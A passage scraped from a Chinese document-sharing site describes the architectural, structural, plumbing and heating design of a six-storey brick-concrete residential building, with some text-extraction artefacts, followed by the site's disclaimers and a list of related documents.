59、m2。室内地坪 m为准,总长27#m;30# m。总宽27#m;30# m。设计室外地坪至檐口高度18.6 00m,呈长方形布置,东西向,三个单元。本工程设计屋面为坡屋面防水采用防水涂料。外墙水泥砂浆抹面,外刷浅灰色墙漆。内墙面除卫生间200300瓷砖,高到顶外,其余均水泥砂桨罩面,刮二遍腻子;楼梯间内墙采用50厚胶粉聚苯颗粒保温。地面除卫生间200200防滑地砖,楼梯间50厚细石砼1:1水泥砂浆压光外,其余均采用50厚豆石砼毛地面。楼梯间单元门采用楼宇对讲门,卧室门、卫生间门采用木门,进户门采用保温防盗门。本工程窗均采用塑钢单框双玻窗,开启窗均加纱扇。本工程设计为节能型住宅,外墙均贴保温板。
60、本工程设计为砖混结构,共六层。根底采用C30钢筋砼条形根底,上砌MU30毛石根底,砂浆采用M10水泥砂浆。一、二、三、四层墙体采用M10混合砂浆砌筑MU15多孔砖;五层以上采用M混合砂浆砌筑MU15多孔砖。本工程结构中使用主要材料:钢材: = 1 * ROMAN I级钢, = 2 * ROMAN II级钢;砼:根底垫层C10,根底底板、地圈梁、根底构造柱均采用C30,其余均C20。本工程设计给水管采用PPR塑料管,热熔连接;排水管采用UPVC硬聚氯乙烯管,粘接;给水管道安装除立管及安装IC卡水表的管段明设计外,其余均暗设。本工程设计采暖为钢制高频焊翅片管散热器。本工程设计照明电源采用BV铜芯线
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 借款担保合同合同范本
- 2025版离婚协议书定制与婚姻财产分割调解服务合同3篇
- 合伙经营协议书
- 房屋装修合同及清单
- 二零二五年度行政单位信息化建设项目劳务合同范本2篇
- 邛崃高压清洗施工方案
- 本个人车位买卖合同范文
- 出口贸易合同范文
- 合作建房协议书范本
- 造槽机渡槽施工方案
- 《水利工程安全管理》课件
- 三年级数学(上)计算题专项练习附答案
- 中外美术史试题及答案
- 《架空输电线路导线舞动风偏故障告警系统技术导则》
- 2024年计算机二级WPS考试题库
- 广东省广州黄埔区2023-2024学年八年级上学期期末数学试卷(含答案)
- 工会换届公示文件模板
- 江苏省南京市协同体七校2024-2025学年高三上学期期中联合考试英语试题答案
- 青岛版二年级下册三位数加减三位数竖式计算题200道及答案
- 法理学课件马工程
- 2024年广东省公务员录用考试《行测》真题及解析
评论
0/150
提交评论